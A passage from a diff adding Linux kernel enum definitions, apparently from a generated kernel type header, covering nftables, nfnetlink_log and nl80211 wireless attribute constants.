NFT_REG32_14 = 22, + NFT_REG32_15 = 23, +}; + +enum nft_rt_attributes { + NFTA_RT_UNSPEC = 0, + NFTA_RT_DREG = 1, + NFTA_RT_KEY = 2, + __NFTA_RT_MAX = 3, +}; + +enum nft_rt_keys { + NFT_RT_CLASSID = 0, + NFT_RT_NEXTHOP4 = 1, + NFT_RT_NEXTHOP6 = 2, + NFT_RT_TCPMSS = 3, + NFT_RT_XFRM = 4, + __NFT_RT_MAX = 5, +}; + +enum nft_rule_attributes { + NFTA_RULE_UNSPEC = 0, + NFTA_RULE_TABLE = 1, + NFTA_RULE_CHAIN = 2, + NFTA_RULE_HANDLE = 3, + NFTA_RULE_EXPRESSIONS = 4, + NFTA_RULE_COMPAT = 5, + NFTA_RULE_POSITION = 6, + NFTA_RULE_USERDATA = 7, + NFTA_RULE_PAD = 8, + NFTA_RULE_ID = 9, + NFTA_RULE_POSITION_ID = 10, + NFTA_RULE_CHAIN_ID = 11, + __NFTA_RULE_MAX = 12, +}; + +enum nft_rule_compat_attributes { + NFTA_RULE_COMPAT_UNSPEC = 0, + NFTA_RULE_COMPAT_PROTO = 1, + NFTA_RULE_COMPAT_FLAGS = 2, + __NFTA_RULE_COMPAT_MAX = 3, +}; + +enum nft_rule_compat_flags { + NFT_RULE_COMPAT_F_UNUSED = 1, + NFT_RULE_COMPAT_F_INV = 2, + NFT_RULE_COMPAT_F_MASK = 2, +}; + +enum nft_set_attributes { + NFTA_SET_UNSPEC = 0, + NFTA_SET_TABLE = 1, + NFTA_SET_NAME = 2, + NFTA_SET_FLAGS = 3, + NFTA_SET_KEY_TYPE = 4, + NFTA_SET_KEY_LEN = 5, + NFTA_SET_DATA_TYPE = 6, + NFTA_SET_DATA_LEN = 7, + NFTA_SET_POLICY = 8, + NFTA_SET_DESC = 9, + NFTA_SET_ID = 10, + NFTA_SET_TIMEOUT = 11, + NFTA_SET_GC_INTERVAL = 12, + NFTA_SET_USERDATA = 13, + NFTA_SET_PAD = 14, + NFTA_SET_OBJ_TYPE = 15, + NFTA_SET_HANDLE = 16, + NFTA_SET_EXPR = 17, + NFTA_SET_EXPRESSIONS = 18, + __NFTA_SET_MAX = 19, +}; + +enum nft_set_class { + NFT_SET_CLASS_O_1 = 0, + NFT_SET_CLASS_O_LOG_N = 1, + NFT_SET_CLASS_O_N = 2, +}; + +enum nft_set_desc_attributes { + NFTA_SET_DESC_UNSPEC = 0, + NFTA_SET_DESC_SIZE = 1, + NFTA_SET_DESC_CONCAT = 2, + __NFTA_SET_DESC_MAX = 3, +}; + +enum nft_set_elem_attributes { + NFTA_SET_ELEM_UNSPEC = 0, + NFTA_SET_ELEM_KEY = 1, + NFTA_SET_ELEM_DATA = 2, + NFTA_SET_ELEM_FLAGS = 3, + NFTA_SET_ELEM_TIMEOUT = 4, + NFTA_SET_ELEM_EXPIRATION = 5, + NFTA_SET_ELEM_USERDATA = 6, + NFTA_SET_ELEM_EXPR = 7, + NFTA_SET_ELEM_PAD = 8, + NFTA_SET_ELEM_OBJREF = 9, + NFTA_SET_ELEM_KEY_END = 10, + NFTA_SET_ELEM_EXPRESSIONS = 11, + __NFTA_SET_ELEM_MAX = 12, +}; + +enum nft_set_elem_flags { + NFT_SET_ELEM_INTERVAL_END = 1, + NFT_SET_ELEM_CATCHALL = 2, +}; + +enum nft_set_elem_list_attributes { + NFTA_SET_ELEM_LIST_UNSPEC = 0, + NFTA_SET_ELEM_LIST_TABLE = 1, + NFTA_SET_ELEM_LIST_SET = 2, + NFTA_SET_ELEM_LIST_ELEMENTS = 3, + NFTA_SET_ELEM_LIST_SET_ID = 4, + __NFTA_SET_ELEM_LIST_MAX = 5, +}; + +enum nft_set_extensions { + NFT_SET_EXT_KEY = 0, + NFT_SET_EXT_KEY_END = 1, + NFT_SET_EXT_DATA = 2, + NFT_SET_EXT_FLAGS = 3, + NFT_SET_EXT_TIMEOUT = 4, + NFT_SET_EXT_USERDATA = 5, + NFT_SET_EXT_EXPRESSIONS = 6, + NFT_SET_EXT_OBJREF = 7, + NFT_SET_EXT_NUM = 8, +}; + +enum nft_set_field_attributes { + NFTA_SET_FIELD_UNSPEC = 0, + NFTA_SET_FIELD_LEN = 1, + __NFTA_SET_FIELD_MAX = 2, +}; + +enum nft_set_flags { + NFT_SET_ANONYMOUS = 1, + NFT_SET_CONSTANT = 2, + NFT_SET_INTERVAL = 4, + NFT_SET_MAP = 8, + NFT_SET_TIMEOUT = 16, + NFT_SET_EVAL = 32, + NFT_SET_OBJECT = 64, + NFT_SET_CONCAT = 128, + NFT_SET_EXPR = 256, +}; + +enum nft_set_policies { + NFT_SET_POL_PERFORMANCE = 0, + NFT_SET_POL_MEMORY = 1, +}; + +enum nft_table_attributes { + NFTA_TABLE_UNSPEC = 0, + NFTA_TABLE_NAME = 1, + NFTA_TABLE_FLAGS = 2, + NFTA_TABLE_USE = 3, + NFTA_TABLE_HANDLE = 4, + NFTA_TABLE_PAD = 5, + NFTA_TABLE_USERDATA = 6, + NFTA_TABLE_OWNER = 7, + __NFTA_TABLE_MAX = 8, +}; + +enum nft_table_flags { + NFT_TABLE_F_DORMANT = 1, + NFT_TABLE_F_OWNER = 2, + NFT_TABLE_F_PERSIST = 4, +}; + +enum nft_target_attributes { + NFTA_TARGET_UNSPEC = 0, + NFTA_TARGET_NAME = 1, + NFTA_TARGET_REV = 2, + NFTA_TARGET_INFO = 3, + __NFTA_TARGET_MAX = 4, +}; + +enum nft_trace_attributes { + NFTA_TRACE_UNSPEC = 0, + NFTA_TRACE_TABLE = 1, + NFTA_TRACE_CHAIN = 2, + NFTA_TRACE_RULE_HANDLE = 3, + NFTA_TRACE_TYPE = 4, + NFTA_TRACE_VERDICT = 5, + NFTA_TRACE_ID = 6, + NFTA_TRACE_LL_HEADER = 7, + NFTA_TRACE_NETWORK_HEADER = 8, + NFTA_TRACE_TRANSPORT_HEADER = 9, + NFTA_TRACE_IIF = 10, + NFTA_TRACE_IIFTYPE = 11, + NFTA_TRACE_OIF = 12, + NFTA_TRACE_OIFTYPE = 13, + NFTA_TRACE_MARK = 14, + NFTA_TRACE_NFPROTO = 15, + NFTA_TRACE_POLICY = 16, + NFTA_TRACE_PAD = 17, + __NFTA_TRACE_MAX = 18, +}; + +enum nft_trace_types { + NFT_TRACETYPE_UNSPEC = 0, + NFT_TRACETYPE_POLICY = 1, + NFT_TRACETYPE_RETURN = 2, + NFT_TRACETYPE_RULE = 3, + __NFT_TRACETYPE_MAX = 4, +}; + +enum nft_trans_elem_flags { + NFT_TRANS_UPD_TIMEOUT = 1, + NFT_TRANS_UPD_EXPIRATION = 2, +}; + +enum nft_trans_phase { + NFT_TRANS_PREPARE = 0, + NFT_TRANS_PREPARE_ERROR = 1, + NFT_TRANS_ABORT = 2, + NFT_TRANS_COMMIT = 3, + NFT_TRANS_RELEASE = 4, +}; + +enum nft_verdict_attributes { + NFTA_VERDICT_UNSPEC = 0, + NFTA_VERDICT_CODE = 1, + NFTA_VERDICT_CHAIN = 2, + NFTA_VERDICT_CHAIN_ID = 3, + __NFTA_VERDICT_MAX = 4, +}; + +enum nft_verdicts { + NFT_CONTINUE = -1, + NFT_BREAK = -2, + NFT_JUMP = -3, + NFT_GOTO = -4, + NFT_RETURN = -5, +}; + +enum nfulnl_attr_config { + NFULA_CFG_UNSPEC = 0, + NFULA_CFG_CMD = 1, + NFULA_CFG_MODE = 2, + NFULA_CFG_NLBUFSIZ = 3, + NFULA_CFG_TIMEOUT = 4, + NFULA_CFG_QTHRESH = 5, + NFULA_CFG_FLAGS = 6, + __NFULA_CFG_MAX = 7, +}; + +enum nfulnl_attr_type { + NFULA_UNSPEC = 0, + NFULA_PACKET_HDR = 1, + NFULA_MARK = 2, + NFULA_TIMESTAMP = 3, + NFULA_IFINDEX_INDEV = 4, + NFULA_IFINDEX_OUTDEV = 5, + NFULA_IFINDEX_PHYSINDEV = 6, + NFULA_IFINDEX_PHYSOUTDEV = 7, + NFULA_HWADDR = 8, + NFULA_PAYLOAD = 9, + NFULA_PREFIX = 10, + NFULA_UID = 11, + NFULA_SEQ = 12, + NFULA_SEQ_GLOBAL = 13, + NFULA_GID = 14, + NFULA_HWTYPE = 15, + NFULA_HWHEADER = 16, + NFULA_HWLEN = 17, + NFULA_CT = 18, + NFULA_CT_INFO = 19, + NFULA_VLAN = 20, + NFULA_L2HDR = 21, + __NFULA_MAX = 22, +}; + +enum nfulnl_msg_config_cmds { + NFULNL_CFG_CMD_NONE = 0, + NFULNL_CFG_CMD_BIND = 1, + NFULNL_CFG_CMD_UNBIND = 2, + NFULNL_CFG_CMD_PF_BIND = 3, + NFULNL_CFG_CMD_PF_UNBIND = 4, +}; + +enum nfulnl_msg_types { + NFULNL_MSG_PACKET = 0, + NFULNL_MSG_CONFIG = 1, + NFULNL_MSG_MAX = 2, +}; + +enum nfulnl_vlan_attr { + NFULA_VLAN_UNSPEC = 0, + NFULA_VLAN_PROTO = 1, + NFULA_VLAN_TCI = 2, + __NFULA_VLAN_MAX = 3, +}; + +enum nh_notifier_info_type { + NH_NOTIFIER_INFO_TYPE_SINGLE = 0, + NH_NOTIFIER_INFO_TYPE_GRP = 1, + NH_NOTIFIER_INFO_TYPE_RES_TABLE = 2, + NH_NOTIFIER_INFO_TYPE_RES_BUCKET = 3, + NH_NOTIFIER_INFO_TYPE_GRP_HW_STATS = 4, +}; + +enum nl80211_ac { + NL80211_AC_VO = 0, + NL80211_AC_VI = 1, + NL80211_AC_BE = 2, + NL80211_AC_BK = 3, + NL80211_NUM_ACS = 4, +}; + +enum nl80211_acl_policy { + NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED = 0, + NL80211_ACL_POLICY_DENY_UNLESS_LISTED = 1, +}; + +enum nl80211_ap_settings_flags { + NL80211_AP_SETTINGS_EXTERNAL_AUTH_SUPPORT = 1, + NL80211_AP_SETTINGS_SA_QUERY_OFFLOAD_SUPPORT = 2, +}; + +enum nl80211_attr_coalesce_rule { + __NL80211_COALESCE_RULE_INVALID = 0, + NL80211_ATTR_COALESCE_RULE_DELAY = 1, + NL80211_ATTR_COALESCE_RULE_CONDITION = 2, + NL80211_ATTR_COALESCE_RULE_PKT_PATTERN = 3, + NUM_NL80211_ATTR_COALESCE_RULE = 4, + NL80211_ATTR_COALESCE_RULE_MAX = 3, +}; + +enum nl80211_attr_cqm { + __NL80211_ATTR_CQM_INVALID = 0, + NL80211_ATTR_CQM_RSSI_THOLD = 1, + NL80211_ATTR_CQM_RSSI_HYST = 2, + NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT = 3, + NL80211_ATTR_CQM_PKT_LOSS_EVENT = 4, + NL80211_ATTR_CQM_TXE_RATE = 5, + NL80211_ATTR_CQM_TXE_PKTS = 6, + NL80211_ATTR_CQM_TXE_INTVL = 7, + NL80211_ATTR_CQM_BEACON_LOSS_EVENT = 8, + NL80211_ATTR_CQM_RSSI_LEVEL = 9, + __NL80211_ATTR_CQM_AFTER_LAST = 10, + NL80211_ATTR_CQM_MAX = 9, +}; + +enum nl80211_attrs { + NL80211_ATTR_UNSPEC = 0, + NL80211_ATTR_WIPHY = 1, + NL80211_ATTR_WIPHY_NAME = 2, + NL80211_ATTR_IFINDEX = 3, + NL80211_ATTR_IFNAME = 4, + NL80211_ATTR_IFTYPE = 5, + NL80211_ATTR_MAC = 6, + NL80211_ATTR_KEY_DATA = 7, + NL80211_ATTR_KEY_IDX = 8, + NL80211_ATTR_KEY_CIPHER = 9, + NL80211_ATTR_KEY_SEQ = 10, + NL80211_ATTR_KEY_DEFAULT = 11, + NL80211_ATTR_BEACON_INTERVAL = 12, + NL80211_ATTR_DTIM_PERIOD = 13, + NL80211_ATTR_BEACON_HEAD = 14, + NL80211_ATTR_BEACON_TAIL = 15, + NL80211_ATTR_STA_AID = 16, + NL80211_ATTR_STA_FLAGS = 17, + NL80211_ATTR_STA_LISTEN_INTERVAL = 18, + NL80211_ATTR_STA_SUPPORTED_RATES = 19, + NL80211_ATTR_STA_VLAN = 20, + NL80211_ATTR_STA_INFO = 21, + NL80211_ATTR_WIPHY_BANDS = 22, + NL80211_ATTR_MNTR_FLAGS = 23, + NL80211_ATTR_MESH_ID = 24, + NL80211_ATTR_STA_PLINK_ACTION = 25, + NL80211_ATTR_MPATH_NEXT_HOP = 26, + NL80211_ATTR_MPATH_INFO = 27, + NL80211_ATTR_BSS_CTS_PROT = 28, + NL80211_ATTR_BSS_SHORT_PREAMBLE = 29, + NL80211_ATTR_BSS_SHORT_SLOT_TIME = 30, + NL80211_ATTR_HT_CAPABILITY = 31, + NL80211_ATTR_SUPPORTED_IFTYPES = 32, + NL80211_ATTR_REG_ALPHA2 = 33, + NL80211_ATTR_REG_RULES = 34, + NL80211_ATTR_MESH_CONFIG = 35, + NL80211_ATTR_BSS_BASIC_RATES = 36, + NL80211_ATTR_WIPHY_TXQ_PARAMS = 37, + NL80211_ATTR_WIPHY_FREQ = 38, + NL80211_ATTR_WIPHY_CHANNEL_TYPE = 39, + NL80211_ATTR_KEY_DEFAULT_MGMT = 40, + NL80211_ATTR_MGMT_SUBTYPE = 41, + NL80211_ATTR_IE = 42, + NL80211_ATTR_MAX_NUM_SCAN_SSIDS = 43, + NL80211_ATTR_SCAN_FREQUENCIES = 44, + NL80211_ATTR_SCAN_SSIDS = 45, + NL80211_ATTR_GENERATION = 46, + NL80211_ATTR_BSS = 47, + NL80211_ATTR_REG_INITIATOR = 48, + NL80211_ATTR_REG_TYPE = 49, + NL80211_ATTR_SUPPORTED_COMMANDS = 50, + NL80211_ATTR_FRAME = 51, + NL80211_ATTR_SSID = 52, + NL80211_ATTR_AUTH_TYPE = 53, + NL80211_ATTR_REASON_CODE = 54, + NL80211_ATTR_KEY_TYPE = 55, + NL80211_ATTR_MAX_SCAN_IE_LEN = 56, + NL80211_ATTR_CIPHER_SUITES = 57, + NL80211_ATTR_FREQ_BEFORE = 58, + NL80211_ATTR_FREQ_AFTER = 59, + NL80211_ATTR_FREQ_FIXED = 60, + NL80211_ATTR_WIPHY_RETRY_SHORT = 61, + NL80211_ATTR_WIPHY_RETRY_LONG = 62, + NL80211_ATTR_WIPHY_FRAG_THRESHOLD = 63, + NL80211_ATTR_WIPHY_RTS_THRESHOLD = 64, + NL80211_ATTR_TIMED_OUT = 65, + NL80211_ATTR_USE_MFP = 66, + NL80211_ATTR_STA_FLAGS2 = 67, + NL80211_ATTR_CONTROL_PORT = 68, + NL80211_ATTR_TESTDATA = 69, + NL80211_ATTR_PRIVACY = 70, + NL80211_ATTR_DISCONNECTED_BY_AP = 71, + NL80211_ATTR_STATUS_CODE = 72, + NL80211_ATTR_CIPHER_SUITES_PAIRWISE = 73, + NL80211_ATTR_CIPHER_SUITE_GROUP = 74, + NL80211_ATTR_WPA_VERSIONS = 75, + NL80211_ATTR_AKM_SUITES = 76, + NL80211_ATTR_REQ_IE = 77, + NL80211_ATTR_RESP_IE = 78, + NL80211_ATTR_PREV_BSSID = 79, + NL80211_ATTR_KEY = 80, + NL80211_ATTR_KEYS = 81, + NL80211_ATTR_PID = 82, + NL80211_ATTR_4ADDR = 83, + NL80211_ATTR_SURVEY_INFO = 84, + NL80211_ATTR_PMKID = 85, + NL80211_ATTR_MAX_NUM_PMKIDS = 86, + NL80211_ATTR_DURATION = 87, + NL80211_ATTR_COOKIE = 88, + NL80211_ATTR_WIPHY_COVERAGE_CLASS = 89, + NL80211_ATTR_TX_RATES = 90, + NL80211_ATTR_FRAME_MATCH = 91, + NL80211_ATTR_ACK = 92, + NL80211_ATTR_PS_STATE = 93, + NL80211_ATTR_CQM = 94, + NL80211_ATTR_LOCAL_STATE_CHANGE = 95, + NL80211_ATTR_AP_ISOLATE = 96, + NL80211_ATTR_WIPHY_TX_POWER_SETTING = 97, + NL80211_ATTR_WIPHY_TX_POWER_LEVEL = 98, + NL80211_ATTR_TX_FRAME_TYPES = 99, + NL80211_ATTR_RX_FRAME_TYPES = 100, + NL80211_ATTR_FRAME_TYPE = 101, + NL80211_ATTR_CONTROL_PORT_ETHERTYPE = 102, + NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT = 103, + NL80211_ATTR_SUPPORT_IBSS_RSN = 104, + NL80211_ATTR_WIPHY_ANTENNA_TX = 105, + NL80211_ATTR_WIPHY_ANTENNA_RX = 106, + NL80211_ATTR_MCAST_RATE = 107, + NL80211_ATTR_OFFCHANNEL_TX_OK = 108, + NL80211_ATTR_BSS_HT_OPMODE = 109, + NL80211_ATTR_KEY_DEFAULT_TYPES = 110, + NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION = 111, + NL80211_ATTR_MESH_SETUP = 112, + NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX = 113, + NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX = 114, + NL80211_ATTR_SUPPORT_MESH_AUTH = 115, + NL80211_ATTR_STA_PLINK_STATE = 116, + NL80211_ATTR_WOWLAN_TRIGGERS = 117, + NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED = 118, + NL80211_ATTR_SCHED_SCAN_INTERVAL = 119, + NL80211_ATTR_INTERFACE_COMBINATIONS = 120, + NL80211_ATTR_SOFTWARE_IFTYPES = 121, + NL80211_ATTR_REKEY_DATA = 122, + NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS = 123, + NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN = 124, + NL80211_ATTR_SCAN_SUPP_RATES = 125, + NL80211_ATTR_HIDDEN_SSID = 126, + NL80211_ATTR_IE_PROBE_RESP = 127, + NL80211_ATTR_IE_ASSOC_RESP = 128, + NL80211_ATTR_STA_WME = 129, + NL80211_ATTR_SUPPORT_AP_UAPSD = 130, + NL80211_ATTR_ROAM_SUPPORT = 131, + NL80211_ATTR_SCHED_SCAN_MATCH = 132, + NL80211_ATTR_MAX_MATCH_SETS = 133, + NL80211_ATTR_PMKSA_CANDIDATE = 134, + NL80211_ATTR_TX_NO_CCK_RATE = 135, + NL80211_ATTR_TDLS_ACTION = 136, + NL80211_ATTR_TDLS_DIALOG_TOKEN = 137, + NL80211_ATTR_TDLS_OPERATION = 138, + NL80211_ATTR_TDLS_SUPPORT = 139, + NL80211_ATTR_TDLS_EXTERNAL_SETUP = 140, + NL80211_ATTR_DEVICE_AP_SME = 141, + NL80211_ATTR_DONT_WAIT_FOR_ACK = 142, + NL80211_ATTR_FEATURE_FLAGS = 143, + NL80211_ATTR_PROBE_RESP_OFFLOAD = 144, + NL80211_ATTR_PROBE_RESP = 145, + NL80211_ATTR_DFS_REGION = 146, + NL80211_ATTR_DISABLE_HT = 147, + NL80211_ATTR_HT_CAPABILITY_MASK = 148, + NL80211_ATTR_NOACK_MAP = 149, + NL80211_ATTR_INACTIVITY_TIMEOUT = 150, + NL80211_ATTR_RX_SIGNAL_DBM = 151, + NL80211_ATTR_BG_SCAN_PERIOD = 152, + NL80211_ATTR_WDEV = 153, + NL80211_ATTR_USER_REG_HINT_TYPE = 154, + NL80211_ATTR_CONN_FAILED_REASON = 155, + NL80211_ATTR_AUTH_DATA = 156, + NL80211_ATTR_VHT_CAPABILITY = 157, + NL80211_ATTR_SCAN_FLAGS = 158, + NL80211_ATTR_CHANNEL_WIDTH = 159, + NL80211_ATTR_CENTER_FREQ1 = 160, + NL80211_ATTR_CENTER_FREQ2 = 161, + NL80211_ATTR_P2P_CTWINDOW = 162, + NL80211_ATTR_P2P_OPPPS = 163, + NL80211_ATTR_LOCAL_MESH_POWER_MODE = 164, + NL80211_ATTR_ACL_POLICY = 165, + NL80211_ATTR_MAC_ADDRS = 166, + NL80211_ATTR_MAC_ACL_MAX = 167, + NL80211_ATTR_RADAR_EVENT = 168, + NL80211_ATTR_EXT_CAPA = 169, + NL80211_ATTR_EXT_CAPA_MASK = 170, + NL80211_ATTR_STA_CAPABILITY = 171, + NL80211_ATTR_STA_EXT_CAPABILITY = 172, + NL80211_ATTR_PROTOCOL_FEATURES = 173, + NL80211_ATTR_SPLIT_WIPHY_DUMP = 174, + NL80211_ATTR_DISABLE_VHT = 175, + NL80211_ATTR_VHT_CAPABILITY_MASK = 176, + NL80211_ATTR_MDID = 177, + NL80211_ATTR_IE_RIC = 178, + NL80211_ATTR_CRIT_PROT_ID = 179, + NL80211_ATTR_MAX_CRIT_PROT_DURATION = 180, + NL80211_ATTR_PEER_AID = 181, + NL80211_ATTR_COALESCE_RULE = 182, + NL80211_ATTR_CH_SWITCH_COUNT = 183, + NL80211_ATTR_CH_SWITCH_BLOCK_TX = 184, + NL80211_ATTR_CSA_IES = 185, + NL80211_ATTR_CNTDWN_OFFS_BEACON = 186, + NL80211_ATTR_CNTDWN_OFFS_PRESP = 187, + NL80211_ATTR_RXMGMT_FLAGS = 188, + NL80211_ATTR_STA_SUPPORTED_CHANNELS = 189, + NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES = 190, + NL80211_ATTR_HANDLE_DFS = 191, + NL80211_ATTR_SUPPORT_5_MHZ = 192, + NL80211_ATTR_SUPPORT_10_MHZ = 193, + NL80211_ATTR_OPMODE_NOTIF = 194, + NL80211_ATTR_VENDOR_ID = 195, + NL80211_ATTR_VENDOR_SUBCMD = 196, + NL80211_ATTR_VENDOR_DATA = 197, + NL80211_ATTR_VENDOR_EVENTS = 198, + NL80211_ATTR_QOS_MAP = 199, + NL80211_ATTR_MAC_HINT = 200, + NL80211_ATTR_WIPHY_FREQ_HINT = 201, + NL80211_ATTR_MAX_AP_ASSOC_STA = 202, + NL80211_ATTR_TDLS_PEER_CAPABILITY = 203, + NL80211_ATTR_SOCKET_OWNER = 204, + NL80211_ATTR_CSA_C_OFFSETS_TX = 205, + NL80211_ATTR_MAX_CSA_COUNTERS = 206, + NL80211_ATTR_TDLS_INITIATOR = 207, + NL80211_ATTR_USE_RRM = 208, + NL80211_ATTR_WIPHY_DYN_ACK = 209, + NL80211_ATTR_TSID = 210, + NL80211_ATTR_USER_PRIO = 211, + NL80211_ATTR_ADMITTED_TIME = 212, + NL80211_ATTR_SMPS_MODE = 213, + NL80211_ATTR_OPER_CLASS = 214, + NL80211_ATTR_MAC_MASK = 215, + NL80211_ATTR_WIPHY_SELF_MANAGED_REG = 216, + NL80211_ATTR_EXT_FEATURES = 217, + NL80211_ATTR_SURVEY_RADIO_STATS = 218, + NL80211_ATTR_NETNS_FD = 219, + NL80211_ATTR_SCHED_SCAN_DELAY = 220, + NL80211_ATTR_REG_INDOOR = 221, + NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS = 222, + NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL = 223, + NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS = 224, + NL80211_ATTR_SCHED_SCAN_PLANS = 225, + NL80211_ATTR_PBSS = 226, + NL80211_ATTR_BSS_SELECT = 227, + NL80211_ATTR_STA_SUPPORT_P2P_PS = 228, + NL80211_ATTR_PAD = 229, + NL80211_ATTR_IFTYPE_EXT_CAPA = 230, + NL80211_ATTR_MU_MIMO_GROUP_DATA = 231, + NL80211_ATTR_MU_MIMO_FOLLOW_MAC_ADDR = 232, + NL80211_ATTR_SCAN_START_TIME_TSF = 233, + NL80211_ATTR_SCAN_START_TIME_TSF_BSSID = 234, + NL80211_ATTR_MEASUREMENT_DURATION = 235, + NL80211_ATTR_MEASUREMENT_DURATION_MANDATORY = 236, + NL80211_ATTR_MESH_PEER_AID = 237, + NL80211_ATTR_NAN_MASTER_PREF = 238, + NL80211_ATTR_BANDS = 239, + NL80211_ATTR_NAN_FUNC = 240, + NL80211_ATTR_NAN_MATCH = 241, + NL80211_ATTR_FILS_KEK = 242, + NL80211_ATTR_FILS_NONCES = 243, + NL80211_ATTR_MULTICAST_TO_UNICAST_ENABLED = 244, + NL80211_ATTR_BSSID = 245, + NL80211_ATTR_SCHED_SCAN_RELATIVE_RSSI = 246, + NL80211_ATTR_SCHED_SCAN_RSSI_ADJUST = 247, + NL80211_ATTR_TIMEOUT_REASON = 248, + NL80211_ATTR_FILS_ERP_USERNAME = 249, + NL80211_ATTR_FILS_ERP_REALM = 250, + NL80211_ATTR_FILS_ERP_NEXT_SEQ_NUM = 251, + NL80211_ATTR_FILS_ERP_RRK = 252, + NL80211_ATTR_FILS_CACHE_ID = 253, + NL80211_ATTR_PMK = 254, + NL80211_ATTR_SCHED_SCAN_MULTI = 255, + NL80211_ATTR_SCHED_SCAN_MAX_REQS = 256, + NL80211_ATTR_WANT_1X_4WAY_HS = 257, + NL80211_ATTR_PMKR0_NAME = 258, + NL80211_ATTR_PORT_AUTHORIZED = 259, + NL80211_ATTR_EXTERNAL_AUTH_ACTION = 260, + NL80211_ATTR_EXTERNAL_AUTH_SUPPORT = 261, + NL80211_ATTR_NSS = 262, + NL80211_ATTR_ACK_SIGNAL = 263, + NL80211_ATTR_CONTROL_PORT_OVER_NL80211 = 264, + NL80211_ATTR_TXQ_STATS = 265, + NL80211_ATTR_TXQ_LIMIT = 266, + NL80211_ATTR_TXQ_MEMORY_LIMIT = 267, + NL80211_ATTR_TXQ_QUANTUM = 268, + NL80211_ATTR_HE_CAPABILITY = 269, + NL80211_ATTR_FTM_RESPONDER = 270, + NL80211_ATTR_FTM_RESPONDER_STATS = 271, + NL80211_ATTR_TIMEOUT = 272, + NL80211_ATTR_PEER_MEASUREMENTS = 273, + NL80211_ATTR_AIRTIME_WEIGHT = 274, + NL80211_ATTR_STA_TX_POWER_SETTING = 275, + NL80211_ATTR_STA_TX_POWER = 276, + NL80211_ATTR_SAE_PASSWORD = 277, + NL80211_ATTR_TWT_RESPONDER = 278, + NL80211_ATTR_HE_OBSS_PD = 279, + NL80211_ATTR_WIPHY_EDMG_CHANNELS = 280, + NL80211_ATTR_WIPHY_EDMG_BW_CONFIG = 281, + NL80211_ATTR_VLAN_ID = 282, + NL80211_ATTR_HE_BSS_COLOR = 283, + NL80211_ATTR_IFTYPE_AKM_SUITES = 284, + NL80211_ATTR_TID_CONFIG = 285, + NL80211_ATTR_CONTROL_PORT_NO_PREAUTH = 286, + NL80211_ATTR_PMK_LIFETIME = 287, + NL80211_ATTR_PMK_REAUTH_THRESHOLD = 288, + NL80211_ATTR_RECEIVE_MULTICAST = 289, + NL80211_ATTR_WIPHY_FREQ_OFFSET = 290, + NL80211_ATTR_CENTER_FREQ1_OFFSET = 291, + NL80211_ATTR_SCAN_FREQ_KHZ = 292, + NL80211_ATTR_HE_6GHZ_CAPABILITY = 293, + NL80211_ATTR_FILS_DISCOVERY = 294, + NL80211_ATTR_UNSOL_BCAST_PROBE_RESP = 295, + NL80211_ATTR_S1G_CAPABILITY = 296, + NL80211_ATTR_S1G_CAPABILITY_MASK = 297, + NL80211_ATTR_SAE_PWE = 298, + NL80211_ATTR_RECONNECT_REQUESTED = 299, + NL80211_ATTR_SAR_SPEC = 300, + NL80211_ATTR_DISABLE_HE = 301, + NL80211_ATTR_OBSS_COLOR_BITMAP = 302, + NL80211_ATTR_COLOR_CHANGE_COUNT = 303, + NL80211_ATTR_COLOR_CHANGE_COLOR = 304, + NL80211_ATTR_COLOR_CHANGE_ELEMS = 305, + NL80211_ATTR_MBSSID_CONFIG = 306, + NL80211_ATTR_MBSSID_ELEMS = 307, + NL80211_ATTR_RADAR_BACKGROUND = 308, + NL80211_ATTR_AP_SETTINGS_FLAGS = 309, + NL80211_ATTR_EHT_CAPABILITY = 310, + NL80211_ATTR_DISABLE_EHT = 311, + NL80211_ATTR_MLO_LINKS = 312, + NL80211_ATTR_MLO_LINK_ID = 313, + NL80211_ATTR_MLD_ADDR = 314, + NL80211_ATTR_MLO_SUPPORT = 315, + NL80211_ATTR_MAX_NUM_AKM_SUITES = 316, + NL80211_ATTR_EML_CAPABILITY = 317, + NL80211_ATTR_MLD_CAPA_AND_OPS = 318, + NL80211_ATTR_TX_HW_TIMESTAMP = 319, + NL80211_ATTR_RX_HW_TIMESTAMP = 320, + NL80211_ATTR_TD_BITMAP = 321, + NL80211_ATTR_PUNCT_BITMAP = 322, + NL80211_ATTR_MAX_HW_TIMESTAMP_PEERS = 323, + NL80211_ATTR_HW_TIMESTAMP_ENABLED = 324, + NL80211_ATTR_EMA_RNR_ELEMS = 325, + NL80211_ATTR_MLO_LINK_DISABLED = 326, + NL80211_ATTR_BSS_DUMP_INCLUDE_USE_DATA = 327, + NL80211_ATTR_MLO_TTLM_DLINK = 328, + NL80211_ATTR_MLO_TTLM_ULINK = 329, + NL80211_ATTR_ASSOC_SPP_AMSDU = 330, + NL80211_ATTR_WIPHY_RADIOS = 331, + NL80211_ATTR_WIPHY_INTERFACE_COMBINATIONS = 332, + __NL80211_ATTR_AFTER_LAST = 333, + NUM_NL80211_ATTR = 333, + NL80211_ATTR_MAX = 332, +}; + +enum nl80211_auth_type { + NL80211_AUTHTYPE_OPEN_SYSTEM = 0, + NL80211_AUTHTYPE_SHARED_KEY = 1, + NL80211_AUTHTYPE_FT = 2, + NL80211_AUTHTYPE_NETWORK_EAP = 3, + NL80211_AUTHTYPE_SAE = 4, + NL80211_AUTHTYPE_FILS_SK = 5, + NL80211_AUTHTYPE_FILS_SK_PFS = 6, + NL80211_AUTHTYPE_FILS_PK = 7, + __NL80211_AUTHTYPE_NUM = 8, + NL80211_AUTHTYPE_MAX = 7, + NL80211_AUTHTYPE_AUTOMATIC = 8, +}; + +enum nl80211_band { + NL80211_BAND_2GHZ = 0, + NL80211_BAND_5GHZ = 1, + NL80211_BAND_60GHZ = 2, + NL80211_BAND_6GHZ = 3, + NL80211_BAND_S1GHZ = 4, + NL80211_BAND_LC = 5, + NUM_NL80211_BANDS = 6, +}; + +enum nl80211_band_attr { + __NL80211_BAND_ATTR_INVALID = 0, + NL80211_BAND_ATTR_FREQS = 1, + 